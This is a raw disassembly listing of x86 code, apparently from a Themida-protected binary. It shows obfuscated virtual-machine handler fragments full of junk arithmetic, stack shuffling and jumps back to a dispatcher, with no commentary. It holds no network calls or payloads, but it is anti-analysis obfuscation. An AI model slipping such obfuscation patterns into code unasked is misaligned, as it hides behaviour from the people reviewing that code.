mov [esp+4Eh+var_4E], esp
add [esp+4Eh+var_4E], 4
pop ebp
push esi
jmp loc_59215C
; ---------------------------------------------------------------------------
loc_594B1A: ; CODE XREF: sub_59196D+B55j
mov bl, 67h
shr bl, 8
js loc_59805C
jmp loc_59622D
; ---------------------------------------------------------------------------
loc_594B2A: ; CODE XREF: sub_59196D-183j
jmp loc_5931D0
; ---------------------------------------------------------------------------
loc_594B2F: ; CODE XREF: sub_59196D:loc_595330j
inc ebx
jge loc_58E0B7
jmp loc_58EBC7
; ---------------------------------------------------------------------------
loc_594B3B: ; CODE XREF: sub_59196D+4EB2j
xor edx, 878AFEFCh
add edi, edx
pop edx
sub edi, edx
sub edi, 6037A17h
mov edx, [esp+14h+var_16+2]
add esp, 4
jmp loc_593FD1
; ---------------------------------------------------------------------------
pop dword ptr [edi+40h]
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_594B5F: ; CODE XREF: sub_59196D-2D39j
shr esi, 3
sub esp, 4
mov [esp+28h+var_2A+2], ebx
push 5BB0170Dh
pop ebx
jmp loc_59679D
; ---------------------------------------------------------------------------
loc_594B76: ; CODE XREF: sub_59196D+2204j
or eax, ebx
mov ebx, [esp+1Ch+var_1E+2]
add esp, 4
jmp loc_593303
; ---------------------------------------------------------------------------
loc_594B86: ; CODE XREF: sub_59196D+153Bj
mov eax, esp
push ebp
jmp loc_5974CA
; ---------------------------------------------------------------------------
loc_594B8E: ; CODE XREF: sub_59196D+1FA8j
mov [esp+3Ah+var_3C+2], eax
mov eax, 10CB7752h
add edx, 33CB776Ah
jmp loc_58DE29
; ---------------------------------------------------------------------------
loc_594BA1: ; CODE XREF: sub_59196D+64F8j
mov word ptr [esp+3Ah+var_3C+2], dx
xor byte ptr [esp+3Ah+var_3C+3], bh
jmp loc_58F18B
; ---------------------------------------------------------------------------
loc_594BAE: ; CODE XREF: sub_59196D+462Bj
push ecx
mov ecx, 7ECB54F7h
and eax, ecx
pop ecx
xor eax, 4EB939FAh
xor edi, eax
pop eax
push ecx
mov ecx, 23760F20h
shl ecx, 5
shl ecx, 2
and ecx, 8CE43ABh
sub ecx, 42ED7154h
jmp loc_591AA3
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+3Ah+var_3C+2]
push 3E3Bh
mov [esp+3Eh+var_40+2], esi
push esp
mov esi, [esp+42h+var_44+2]
add esp, 4
add esi, 4
push ebp
push ecx
mov ecx, 2
jmp loc_58E7AA
; ---------------------------------------------------------------------------
loc_594C01: ; CODE XREF: sub_59196D+2166j
xor ah, 6Eh
sub ch, ah
pop eax
sub ch, 0B7h
sub bl, ch
pop ecx
jmp loc_596BDB
; ---------------------------------------------------------------------------
loc_594C12: ; CODE XREF: sub_59196D-30E3j
push ebx
mov ebx, 3079CF9Ch
add esi, ebx
jmp loc_58E473
; ---------------------------------------------------------------------------
loc_594C1F: ; CODE XREF: sub_59196D-50F5j
jle loc_590156
not edi
add edi, 70AC2BC7h
jmp loc_593A9D
; ---------------------------------------------------------------------------
loc_594C32: ; CODE XREF: sub_59196D+4348j
xor [esp+2Eh+var_2E], esi
jmp loc_593BD1
; ---------------------------------------------------------------------------
loc_594C3A: ; CODE XREF: sub_59196D-2819j
sub ebx, 2
xchg ebx, [esp+14h+var_16+2]
mov esp, [esp+14h+var_16+2]
jmp loc_59162F
; ---------------------------------------------------------------------------
loc_594C48: ; CODE XREF: sub_59196D-61C5j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_594C4D: ; CODE XREF: sub_59196D+6D0Aj
xor cl, dh
xor dh, cl
xor cl, dh
dec cl
sub esp, 4
jmp loc_594929
; ---------------------------------------------------------------------------
loc_594C5D: ; CODE XREF: sub_59196D+55DBj
pop esp
shr ecx, 2
push ebx
jmp loc_58DB79
; ---------------------------------------------------------------------------
loc_594C67: ; CODE XREF: sub_59196D-634Aj
push esi
jmp loc_58D6CE
; ---------------------------------------------------------------------------
loc_594C6D: ; CODE XREF: sub_59196D+2390j
shl ecx, 6
push ebx
mov ebx, 77453FA6h
jmp loc_58DBEE
; ---------------------------------------------------------------------------
loc_594C7B: ; CODE XREF: sub_590677+1Ej
pop ebx
pop edx
push [esp+2Ah+var_2A]
pop ecx
add esp, 4
loc_594C84: ; CODE XREF: sub_59196D-5AF6j
push edi
jmp loc_58C2A3
; ---------------------------------------------------------------------------
loc_594C8A: ; CODE XREF: sub_59196D+10BCj
xchg esi, [esp+10h+var_12+2]
pop esp
mov eax, edx
jmp loc_59485C
; ---------------------------------------------------------------------------
loc_594C95: ; CODE XREF: sub_59196D+957j
xchg ecx, [esp+20h+var_22+2]
pop esp
sub esp, 4
mov [esp+20h+var_22+2], ebp
jmp loc_5947BE
; ---------------------------------------------------------------------------
loc_594CA4: ; CODE XREF: sub_59196D+B10j
add esi, 305D676Ch
add esi, 0E0C9FDD5h
jmp loc_5961D3
; ---------------------------------------------------------------------------
loc_594CB5: ; CODE XREF: sub_59196D+2800j
pop edx
sub al, cl
jmp loc_5900B2
; ---------------------------------------------------------------------------
loc_594CBD: ; CODE XREF: sub_59196D-325Bj
pop edi
xchg ebx, [esp+36h+var_36]
pop esp
test cl, al
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_594CCA: ; CODE XREF: sub_59196D-5338j
jmp loc_58F7B8
; ---------------------------------------------------------------------------
loc_594CCF: ; CODE XREF: sub_59196D-3E4Dj
shl di, 8
shl di, 5
and di, 26A4h
add di, 558h
dec di
push ax
mov ax, 5343h
xor di, ax
pop ax
jmp loc_5917D4
; ---------------------------------------------------------------------------
loc_594CF3: ; CODE XREF: sub_59196D+2BC9j
dec ebx
jge loc_58D2C7
sub ebx, 33AA6E9Bh
mov ecx, ebx
pop ebx
sub ebp, ecx
mov bh, bl
loc_594D07: ; CODE XREF: sub_59196D+3AADj
jnz loc_593795
and eax, 7E55142h
jge loc_58F3A6
pop esp
loc_594D19: ; CODE XREF: sub_59196D-35BBj
mov esp, [esp+10h+var_12+2]
idiv cl
jmp loc_591B8F
; ---------------------------------------------------------------------------
loc_594D23: ; CODE XREF: sub_58F0FA+1Ej
add esi, 4
jmp loc_593F24
; ---------------------------------------------------------------------------
loc_594D2E: ; CODE XREF: sub_59196D-6208j
jl loc_58B6AE
push ecx
jmp loc_58FA77
; ---------------------------------------------------------------------------
loc_594D3A: ; CODE XREF: Themida_:0058B8E6j
neg eax
add eax, 3EE84735h
sub eax, 3AAB7FF5h
jmp loc_593250
; ---------------------------------------------------------------------------
loc_594D4B: ; CODE XREF: sub_59196D+467Fj
push edi
mov edi, 1BEE23F9h
add edi, 0F362E4DBh
add eax, edi
jmp loc_590A3C
; ---------------------------------------------------------------------------
loc_594D5E: ; CODE XREF: sub_59196D-134j
inc bl
inc bl
inc bl
xor bl, 0B8h
jmp loc_594655
; ---------------------------------------------------------------------------
loc_594D6C: ; CODE XREF: sub_59196D+15DBj
xor esi, 1E1179ADh
jmp loc_58D122
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+48h+var_4A+2]
push 757Ah
mov [esp+4Ch+var_4E+2], edi
mov edi, esp
jmp loc_5907ED
; ---------------------------------------------------------------------------
loc_594D8A: ; CODE XREF: sub_59196D+48FAj
sub edx, 0E550EF7h
jmp loc_596604
; ---------------------------------------------------------------------------
loc_594D95: ; CODE XREF: sub_59196D+D7Fj
; sub_59196D+5294j
mov dx, word ptr [esp+18h+var_1A+2]
add esp, 2
xor al, dh
xor dh, al
xor al, dh
xor byte ptr [esp+14h+var_16+2], al
xor al, byte ptr [esp+14h+var_16+2]
xor byte ptr [esp+14h+var_16+2], al
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_594DB3: ; CODE XREF: sub_59196D-2836j
mov dh, 0BFh
jmp loc_58B504
; ---------------------------------------------------------------------------
loc_594DBA: ; CODE XREF: sub_59196D+51C7j
push edx
mov edx, 4
jmp loc_58C72D
; ---------------------------------------------------------------------------
loc_594DC5: ; CODE XREF: sub_59196D+31Aj
jnz loc_596F68
push edx
jmp loc_58E4BA
; ---------------------------------------------------------------------------
neg eax
jo loc_58FA85
loc_594DD9: ; CODE XREF: sub_59196D+1C8Fj
push esp
pop edx
add edx, 4
push ecx
mov ecx, 4
sub edx, ecx
pop ecx
xchg edx, [esp+2Ch+var_2E+2]
mov esp, [esp+2Ch+var_2E+2]
jmp loc_58F85E
; ---------------------------------------------------------------------------
loc_594DF5: ; CODE XREF: sub_59196D+4DDj
shr dl, 8
shr dl, 6
push ebx
mov bl, 3Fh
jmp loc_5927A0
; ---------------------------------------------------------------------------
loc_594E03: ; CODE XREF: sub_59196D+990j
add [esp+1Ch+var_1E+2], 4
pop ebp
push ebx
push 4
pop ebx
add ebp, ebx
jmp loc_58FAD4
; ---------------------------------------------------------------------------
loc_594E19: ; CODE XREF: sub_59196D+5CF0j
pop esp
push 4391h
mov [esp+1Ch+var_1E+2], edi
push ecx
mov edi, [esp+20h+var_22+2]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_59591D
; ---------------------------------------------------------------------------
loc_594E3A: ; CODE XREF: sub_59196D+41D5j
push esp
mov ecx, [esp+28h+var_2A+2]
jmp loc_58F62A
; ---------------------------------------------------------------------------
loc_594E43: ; CODE XREF: sub_59196D+3783j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+2Ch+var_2E+2]
pop esp
mov ecx, ebp
pop ebp
and eax, ecx
mov ecx, [esp+24h+var_26+2]
push 6BCEh
mov [esp+28h+var_2A+2], ebp
push 58Fh
mov [esp+2Ch+var_2E+2], esp
jmp loc_595B5A
; ---------------------------------------------------------------------------
mov sp, word ptr [esp+2Ch+var_2E+2]
jmp loc_58B37B
; ---------------------------------------------------------------------------
push 0
push [esp+30h+var_32+2]
pop ebx
push ecx
mov ecx, esp
sub esp, 4
mov [esp], eax
mov eax, 2FB11FA3h
sub eax, 755776AEh
xor eax, 0BA59A8F1h
add ecx, eax
pop eax
push 4D36h
mov [esp], edi
mov edi, 4
jmp loc_5964F4
; ---------------------------------------------------------------------------
loc_594EB5: ; CODE XREF: sub_59196D-58D7j
not edx
xor edx, 0BD90012Ah
sub eax, edx
pop edx
mov ecx, [esp+0]
add esp, 4
push 4E47h
mov [esp+0], ecx
mov ecx, 59002856h
or ecx, 72966EDDh
push edi
mov edi, 470B6D44h
add ecx, edi
pop edi
xchg esi, ecx
dec esi
jmp loc_5906AA
; ---------------------------------------------------------------------------
loc_594EEA: ; DATA XREF: Themida_:0058B138o
push dword ptr [esp+0]
jmp loc_590C51
; ---------------------------------------------------------------------------
loc_594EF2: ; CODE XREF: sub_59196D-153j
push small 408Fh
jmp loc_596188
; ---------------------------------------------------------------------------
loc_594EFB: ; CODE XREF: sub_59196D+21AFj
xor ebx, 10E9A180h
mov ebp, ebx
pop ebx
or ebp, 0ADC3427h
sub ebp, 1FFF37FEh
jmp loc_591851
; ---------------------------------------------------------------------------
loc_594F15: ; CODE XREF: sub_59196D+4693j
jmp loc_592BD3
; ---------------------------------------------------------------------------
loc_594F1A: ; CODE XREF: sub_59196D-1AE4j
; sub_59196D+543Ej
add ebp, edi
pop edi
and ebp, 30974A11h
add ebp, 4BF12B03h
sub ebp, 740E5521h
push edx
push 0F81B2211h
pop edx
add ebp, 67712331h
jmp loc_58E983
; ---------------------------------------------------------------------------
loc_594F41: ; CODE XREF: sub_59196D-5CD7j
add [esp+2Ch+var_2E+2], 4
jmp loc_58BCA9
; ---------------------------------------------------------------------------
loc_594F4D: ; CODE XREF: sub_59196D+2A37j
xor [esp+24h+var_26+2], edi
jmp loc_591F87
; ---------------------------------------------------------------------------
loc_594F55: ; CODE XREF: sub_59196D+47BFj
mov bl, 0FFh
sub dl, bl
pop bx
shr dl, 7
sub dl, 96h
sub al, 4Ch
push cx
mov ch, 96h
add al, ch
jmp loc_58F395
; ---------------------------------------------------------------------------
loc_594F6E: ; CODE XREF: Themida_:0058E837j
xor dx, cx
pop cx
mov di, dx
pop edx
shr di, 3
shr di, 7
xor di, 1E47h
sub di, 9E8Bh
jmp loc_597B73
; ---------------------------------------------------------------------------
loc_594F8E: ; CODE XREF: sub_59196D-11ECj
push 45E6h
jmp loc_590CBC
; ---------------------------------------------------------------------------
loc_594F98: ; CODE XREF: sub_59196D+307Cj
mov ebp, esp
add ebp, 4
jmp loc_598014
; ---------------------------------------------------------------------------
loc_594FA5: ; CODE XREF: sub_59196D+2F1Fj
mov esi, esp
push ebp
mov ebp, 56A0090Dh
push ebx
mov ebx, 59B515Eh
jmp loc_58CB9E
; ---------------------------------------------------------------------------
loc_594FB8: ; CODE XREF: sub_59196D+27CBj
add cl, bl
sub cl, 0F8h
pop ebx
jmp loc_5923B1
; ---------------------------------------------------------------------------
loc_594FC3: ; CODE XREF: sub_59196D-2B5j
mov eax, esp
add eax, 4
add eax, 4
jmp loc_58DF13
; ---------------------------------------------------------------------------
loc_594FD2: ; CODE XREF: sub_59196D-28EAj
add dword ptr [edi+20h], 50365834h
mov ebx, [esp+3Ch+var_3C]
add esp, 4
push dword ptr [edi+20h]
xchg edx, [esp+3Ch+var_3C]
push edx
not [esp+40h+var_40]
pop edx
xor [esp+3Ch+var_3C], edx
xor edx, [esp+3Ch+var_3C]
xor [esp+3Ch+var_3C], edx
jmp loc_59072B
; ---------------------------------------------------------------------------
loc_594FFB: ; CODE XREF: sub_59196D+2B05j
mov esp, [esp+0]
mov eax, [esp+0]
push 2F12h
mov [esp+12h+var_12], eax
mov eax, esp
push esi
mov esi, 2FFD169Bh
add esi, 7C3A7DD3h
jmp loc_592893
; ---------------------------------------------------------------------------
loc_59501C: ; CODE XREF: sub_59196D+12DEj
mov cx, word ptr [esp+22h+var_22]
push edx
sub esp, 4
mov [esp+2Ah+var_2A], esp
add [esp+2Ah+var_2A], 4
pop edx
add edx, 4
jmp loc_5904D8
; ---------------------------------------------------------------------------
loc_59503D: ; CODE XREF: sub_59196D-3A74j
mov edx, 0CB36778h
mov ecx, 11B1895Eh
sub ecx, edx
pop edx
sub ebx, ecx
pop ecx
push ecx
mov ecx, 73FA3899h
sub ebx, ecx
pop ecx
sub ebx, eax
add ebx, 73FA3899h
push esi
mov esi, 0E030076h
jmp loc_58F0B1
; ---------------------------------------------------------------------------
loc_595069: ; CODE XREF: sub_59196D+5E61j
sub esp, 4
jmp loc_5902EC
; ---------------------------------------------------------------------------
loc_595074: ; CODE XREF: sub_59196D+2A6Fj
xor ebp, [esp+1Ch+var_1E+2]
mov esp, [esp+1Ch+var_1E+2]
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_59507F: ; CODE XREF: sub_59196D+21Dj
; sub_59196D+B4Bj
pop esi
jmp loc_592444
; ---------------------------------------------------------------------------
loc_595085: ; CODE XREF: sub_59196D-653Aj
and ebp, 0D193BFFh
inc ebp
add ebp, 3DC2D8E4h
add eax, ebp
jmp loc_58BE9E
; ---------------------------------------------------------------------------
loc_595099: ; CODE XREF: Themida_:0058EFC4j
mov [esp+8+var_8], esi
mov esi, esp
push ebx
push 123Bh
mov [esp+10h+var_12+2], ebp
mov ebp, 79C446FDh
and ebp, 0C99283Eh
push eax
push 8800038h
mov eax, [esp+18h+var_1A+2]
add esp, 4
xor ebp, eax
jmp loc_59045E
; ---------------------------------------------------------------------------
loc_5950C5: ; CODE XREF: sub_59196D+59Ej
pop ebp
jmp loc_594322
; ---------------------------------------------------------------------------
loc_5950CB: ; CODE XREF: sub_59196D+25BAj
pop esp
mov eax, [esp+14h+var_16+2]
push edx
push esp
pop edx
jmp loc_59450E
; ---------------------------------------------------------------------------
loc_5950D7: ; CODE XREF: sub_59196D-3F1Aj
add esi, ecx
mov ecx, [esp+0Ch+var_C]
add esp, 4
sub esp, 4
mov [esp+0Ch+var_C], edx
jmp loc_596FE7
; ---------------------------------------------------------------------------
loc_5950ED: ; CODE XREF: sub_59196D+3E4Dj
mov eax, [esp+0Ch+var_C]
jmp loc_594E43
; ---------------------------------------------------------------------------
loc_5950F5: ; CODE XREF: sub_59196D-16C2j
sub esi, 65C85734h
sub esi, ebp
add esi, 65C85734h
jmp loc_58D9F8
; ---------------------------------------------------------------------------
loc_595108: ; CODE XREF: sub_59196D+473Aj
add eax, 2
xchg eax, [esp+4+var_4]
pop esp
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_59511C: ; CODE XREF: sub_59196D-362Aj
pop edi
sub esp, 4
mov [esp+44h+var_44], ecx
mov ecx, esi
mov edx, ecx
pop ecx
jmp loc_59796B
; ---------------------------------------------------------------------------
loc_59512D: ; CODE XREF: sub_59196D-14F6j
mov esi, [esp+2Ch+var_2E+2]
add esp, 4
pop ebp
sub ecx, 7F4D4F36h
add ecx, ebx
add ecx, 7F4D4F36h
pop ebx
jmp sub_5906EB
; ---------------------------------------------------------------------------
loc_59514B: ; CODE XREF: sub_59196D+431Ej
pop ebx
jmp loc_596A9C
; ---------------------------------------------------------------------------
loc_595151: ; CODE XREF: sub_59196D-4675j
mov cl, 0Eh
add cl, 0A2h
jmp loc_595B0E
; ---------------------------------------------------------------------------
loc_59515B: ; CODE XREF: sub_59196D+3D03j
mov [esp+4Eh+var_4E], edx
push 1937h
mov [esp+52h+var_54+2], edi
jmp loc_58D68C
; ---------------------------------------------------------------------------
loc_59516B: ; CODE XREF: sub_59196D+4EA2j
xchg eax, [esp+52h+var_54+2]
mov esp, [esp+52h+var_54+2]
shr [esp+52h+var_54+2], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_59517A: ; CODE XREF: sub_59196D+1498j
push 4BA3h
mov [esp+1Ch+var_1E+2], ecx
mov ch, 18h
add ch, 0FFh
sub esp, 4
mov [esp+20h+var_22+2], ebx
mov bh, ch
push eax
mov ah, bh
not ah
mov bh, ah
jmp loc_59479C
; ---------------------------------------------------------------------------
loc_59519E: ; CODE XREF: sub_59196D-34C7j
; sub_59196D-C29j
push 32A2h
mov [esp+1Ch+var_1E+2], edi
push [esp+1Ch+var_1A+2]
pop edi
pop [esp+1Ch+var_1E+2]
jmp loc_597D52
; ---------------------------------------------------------------------------
loc_5951B3: ; CODE XREF: sub_59196D-4038j
; sub_59196D+61B8j
sub edi, 4
xchg edi, [esp+1Ch+var_1E+2]
pop esp
jmp loc_591DBF
; ---------------------------------------------------------------------------
loc_5951C2: ; CODE XREF: sub_59196D+55F6j
mov esi, [esp+18h+var_1A+2]
add esp, 4
push ebp
mov ebp, 4
add esi, 36C90AF4h
add esi, ebp
jmp loc_590A47
; ---------------------------------------------------------------------------
loc_5951DE: ; CODE XREF: sub_59196D+69E0j
xor bh, 7Fh
sub al, 64h
add al, bh
push edx
mov dl, 0ADh
jmp loc_590733
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp+20h+var_22+2], eax
mov eax, 1CA01AF9h
push ebp
mov ebp, 5C581F81h
shr ebp, 8
or ebp, 71786876h
jmp loc_58CD37
; ---------------------------------------------------------------------------
loc_59520C: ; CODE XREF: sub_59196D+418Ej
mov [esp+24h+var_26+2], edx
push 14E87DCFh
pop edx
sub edx, 99C107Fh
jmp loc_58EE91
; ---------------------------------------------------------------------------
loc_595220: ; CODE XREF: sub_59196D-2C6Dj
mov bh, 0FFh
sub dh, bh
jmp loc_595354
; ---------------------------------------------------------------------------
loc_595229: ; CODE XREF: sub_59196D+211Aj
mov [esp+14h+var_16+2], ebp
jmp loc_596EB9
; ---------------------------------------------------------------------------
loc_595231: ; CODE XREF: sub_59196D:loc_5970DEj
or eax, 1FF07952h
jle loc_598625
jmp loc_595D07
; ---------------------------------------------------------------------------
loc_595241: ; CODE XREF: sub_59196D:loc_59805Cj
shl bl, 7
js loc_58BFE8
jmp loc_595E28
; ---------------------------------------------------------------------------
loc_59524F: ; CODE XREF: sub_59196D+432Aj
push ecx
mov ecx, esp
push ebx
push 4
jmp loc_58E4AB
; ---------------------------------------------------------------------------
loc_59525D: ; CODE XREF: sub_59196D+E08j
mov [esp+14h+var_16+2], ebx
jmp loc_591CD0
; ---------------------------------------------------------------------------
loc_595265: ; CODE XREF: sub_59196D-4934j
push ebp
jmp loc_58C9BE
; ---------------------------------------------------------------------------
loc_59526B: ; CODE XREF: sub_59196D-5623j
shl dl, 3
sub dl, 0E2h
sub bh, dl
pop edx
push ecx
mov cl, 88h
add al, cl
pop ecx
sub al, bh
sub al, 88h
mov ebx, [esp+18h+var_1A+2]
add esp, 4
push edx
mov dh, 0ECh
sub dh, 0DDh
jmp loc_58EC7A
; ---------------------------------------------------------------------------
loc_595292: ; CODE XREF: sub_59196D:loc_58D6CEj
; sub_59196D+695Dj
mov [esp+14h+var_16+2], ebx
mov ebx, 24h
sub ebx, 1B820A59h
add ebx, edi
jmp loc_58C759
; ---------------------------------------------------------------------------
loc_5952A7: ; CODE XREF: sub_59196D+2049j
sub edx, 357F06F1h
sub edx, ebx
add edx, 357F06F1h
mov ebx, edx
pop edx
xor ebx, 5D0B9C5Dh
sub ebp, ebx
pop ebx
not ebp
push ecx
mov ecx, 6D5A0067h
add ebp, ecx
mov ecx, [esp+0]
add esp, 4
shl ebp, 7
push eax
mov eax, 25862339h
or ebp, eax
push dword ptr [esp+0]
pop eax
push 2AE0h
mov [esp+2+var_4+2], eax
mov eax, esp
add eax, 4
jmp loc_58BE93
; ---------------------------------------------------------------------------
loc_5952F4: ; CODE XREF: sub_59196D:loc_58E0B7j
shl ebx, 8
neg ebx
push esi
jmp loc_596212
; ---------------------------------------------------------------------------
loc_5952FF: ; CODE XREF: sub_59196D-32A1j
sub [esp+42h+var_44+2], 536B2CE2h
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_59530B: ; CODE XREF: sub_59196D-5CBDj
push ecx
mov ecx, 60972A0Fh
jmp loc_58F1DD
; ---------------------------------------------------------------------------
loc_595316: ; CODE XREF: sub_59196D+3073j
xor ebp, [esp+14h+var_16+2]
mov esp, [esp+14h+var_16+2]
push edx
mov edx, esp
jmp loc_58E54E
; ---------------------------------------------------------------------------
loc_595324: ; CODE XREF: sub_59196D-3849j
mov edx, 0
add edx, ebx
jmp loc_58C9DA
; ---------------------------------------------------------------------------
loc_595330: ; CODE XREF: sub_59196D+17B5j
jp loc_594B2F
inc ebx
jge loc_58E717
jmp loc_5978A0
; ---------------------------------------------------------------------------
mov ch, bh
loc_595344: ; CODE XREF: sub_59196D+2E4Cj
neg edx
shl edx, 7
xor edx, 0D91957CAh
jmp loc_5947A4
; ---------------------------------------------------------------------------
loc_595354: ; CODE XREF: sub_59196D+38B7j
mov bx, word ptr [esp+1Ch+var_1E+2]
jmp loc_59754F
; ---------------------------------------------------------------------------
loc_59535D: ; CODE XREF: sub_59196D-1D0j
add esp, 4
sub eax, 3DCE7B7Ah
jmp loc_596C2D
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
sub esp, 4
mov [esp+32h+var_32], esi
sub esp, 4
mov [esp+36h+var_36], edx
mov edx, 8D315DEh
inc edx
jmp loc_591EF7
; ---------------------------------------------------------------------------
loc_595387: ; CODE XREF: sub_59196D+598Dj
pop esp
or eax, eax
jnz loc_592224
sub esp, 4
mov [esp+36h+var_36], eax
push ebp
jmp loc_58CEF8
; ---------------------------------------------------------------------------
loc_59539F: ; CODE XREF: sub_59196D:loc_591B60j
; sub_59196D+4861j
shr cl, 6
push edx
jmp loc_58FB32
; ---------------------------------------------------------------------------
loc_5953A8: ; CODE XREF: sub_59196D-DE4j
pop esi
add eax, 663953F0h
jmp loc_58EFF9
; ---------------------------------------------------------------------------
loc_5953B3: ; CODE XREF: sub_59196D+1E2Dj
xor eax, 0CC2C7F0Ch
mov esi, eax
pop eax
add esi, edx
pop edx
mov edx, 603837B0h
sub edx, esi
pop esi
add eax, 18E838BBh
jmp loc_59238C
; ---------------------------------------------------------------------------
loc_5953D0: ; CODE XREF: sub_59196D+2935j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5953D5: ; CODE XREF: sub_59196D+2C4Dj
mov cl, 9Bh
jmp near ptr word_58EA76
; ---------------------------------------------------------------------------
loc_5953DC: ; CODE XREF: sub_59196D:loc_58E77Cj
not eax
push edx
mov edx, 55D41E9Dh
sub edx, 0B974B33h
and edx, 6B45771Ah
dec edx
push edx
not [esp+1Ch+var_1E+2]
pop edx
xor edx, 3DE5DBE5h
sub eax, edx
pop edx
sub esp, 4
jmp loc_591E9A
; ---------------------------------------------------------------------------
loc_59540A: ; CODE XREF: sub_59196D-3905j
xor edx, 4DF56A74h
jmp loc_596986
; ---------------------------------------------------------------------------
loc_595415: ; CODE XREF: sub_59196D-2B85j
or eax, 4F7C3538h
jmp loc_594D07
; ---------------------------------------------------------------------------
loc_59541F: ; CODE XREF: sub_59196D+1D19j
shl ebp, 8
xor ebp, 0D78E6573h
xor esi, ebp
pop ebp
mov ecx, esi
jmp loc_58BC9B
; ---------------------------------------------------------------------------
loc_595432: ; CODE XREF: sub_59196D-2317j
shr ebp, 6
push esi
jmp loc_5918CC
; ---------------------------------------------------------------------------
loc_59543B: ; CODE XREF: sub_59196D-1A7Ej
mov edi, [esp+6+var_8+2]
add esp, 4
jmp loc_58DF08
; ---------------------------------------------------------------------------
loc_595446: ; CODE XREF: sub_59196D+27D3j
sub eax, 0E980EC00h
mov ecx, eax
pop eax
jmp loc_597882
; ---------------------------------------------------------------------------
loc_595453: ; CODE XREF: sub_59196D+CEj
xor esi, 45240E27h
sub esi, 70332EBDh
xor esi, 0B88CD7A3h
jmp loc_593756
; ---------------------------------------------------------------------------
loc_59546A: ; CODE XREF: sub_59196D-3F64j
mov dh, bh
jmp loc_58DC7F
; ---------------------------------------------------------------------------
loc_595471: ; CODE XREF: Themida_:00590A20j
push esp
mov edx, [esp+14h+var_16+2]
add esp, 4
add edx, 4
sub edx, 4
jmp loc_58C535
; ---------------------------------------------------------------------------
loc_59548C: ; CODE XREF: sub_59196D+4A1j
xor ebx, [esp+10h+var_12+2]
xor [esp+10h+var_12+2], ebx
xor ebx, [esp+10h+var_12+2]
pop esp
mov [esp+0Ch+var_C], eax
mov eax, esp
add eax, 4
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+10h+var_12+2]
pop esp
mov [esp+0Ch+var_C], edx
mov edx, 4
add eax, edx
pop edx
jmp loc_58EDF5
; ---------------------------------------------------------------------------
loc_5954C3: ; CODE XREF: sub_59196D-2030j
mov ax, word ptr [esp+1Ch+var_1E+2]
add esp, 2
pop edx
movzx eax, al
push edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_58EA92
; ---------------------------------------------------------------------------
loc_5954E2: ; CODE XREF: sub_59196D+585j
sub ebp, 139CB8E3h
sub ebx, ebp
pop ebp
push ebp
jmp loc_59774C
; ---------------------------------------------------------------------------
loc_5954F1: ; CODE XREF: sub_59196D+1564j
add edx, 4
sub edx, 4
push edx
jmp loc_5967EA
; ---------------------------------------------------------------------------
loc_595503: ; CODE XREF: sub_59196D+22D1j
sub [esp+48h+var_4A+2], esi
mov esi, [esp+48h+var_4A+2]
add esp, 4
neg esi
neg esi
add esi, 12EF3482h
sub edx, esi
pop esi
xchg ebx, edx
jmp loc_58DD2F
; ---------------------------------------------------------------------------
loc_595523: ; CODE XREF: sub_59196D+1AAj
; sub_59196D+3C67j ...
sub edi, 0FFFFFFFFh
or edi, 68ED47C5h
jnz loc_58BB09
dec edi
js loc_58B5ED
mov dl, 0A0h
push eax
loc_59553C: ; DATA XREF: Themida_:0058B1F4o
mov cx, word ptr [esp+24h+var_26+2]
push 69FDh
jmp loc_58D50E
; ---------------------------------------------------------------------------
loc_59554A: ; CODE XREF: sub_59196D:loc_5922C9j
push edx
xchg eax, [esp+18h+var_1A+2]
not eax
jmp loc_5927BF
; ---------------------------------------------------------------------------
loc_595555: ; CODE XREF: sub_59196D-5FFCj
push esp
mov ebp, [esp+20h+var_22+2]
add esp, 4
sub esp, 4
mov [esp+20h+var_22+2], ebp
push esp
jmp loc_598093
; ---------------------------------------------------------------------------
loc_59556B: ; CODE XREF: sub_59196D-28C1j
; sub_59196D+4C36j
add esp, 4
sub esi, ebx
push [esp+0Ch+var_C]
pop ebx
add esp, 4
add esi, eax
add esi, 2B6A3E7Ah
sub esp, 4
mov [esp+0Ch+var_C], esi
jmp loc_58C026
; ---------------------------------------------------------------------------
loc_59558D: ; CODE XREF: sub_59196D+1C43j
mov word ptr [esp+36h+var_36], dx
mov dl, bh
not dl
mov bh, dl
jmp loc_58E95E
; ---------------------------------------------------------------------------
loc_59559C: ; CODE XREF: sub_59196D-5A89j
push edi
mov edi, 2
add ebp, edi
pop edi
xor ebp, [esp+36h+var_36]
xor [esp+36h+var_36], ebp
xor ebp, [esp+36h+var_36]
mov esp, [esp+36h+var_36]
cmp cl, al
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5955B9: ; CODE XREF: sub_59196D+586Dj
add esp, 4
jmp loc_594419
; ---------------------------------------------------------------------------
loc_5955C1: ; CODE XREF: sub_59196D-602Dj
sub [esp+24h+var_26+2], ebp
mov ebp, [esp+24h+var_26+2]
add esp, 4
jmp loc_58D0E0
; ---------------------------------------------------------------------------
loc_5955CF: ; CODE XREF: sub_59196D+54C0j
add dl, 0C3h
and ch, dl
jmp loc_595523
; ---------------------------------------------------------------------------
loc_5955D9: ; CODE XREF: Themida_:0058FE25j
neg al
jp loc_596D1B
jmp loc_590619
; ---------------------------------------------------------------------------
and eax, ebp
pop ebp
neg eax
shl eax, 8
loc_5955EE: ; DATA XREF: Themida_:0058B12Co
push [esp+1Ch+var_1E+2]
jmp loc_597ACB
; ---------------------------------------------------------------------------
loc_5955F6: ; CODE XREF: sub_59196D+578Dj
sub edx, 6F752D81h
jmp loc_592631
; ---------------------------------------------------------------------------
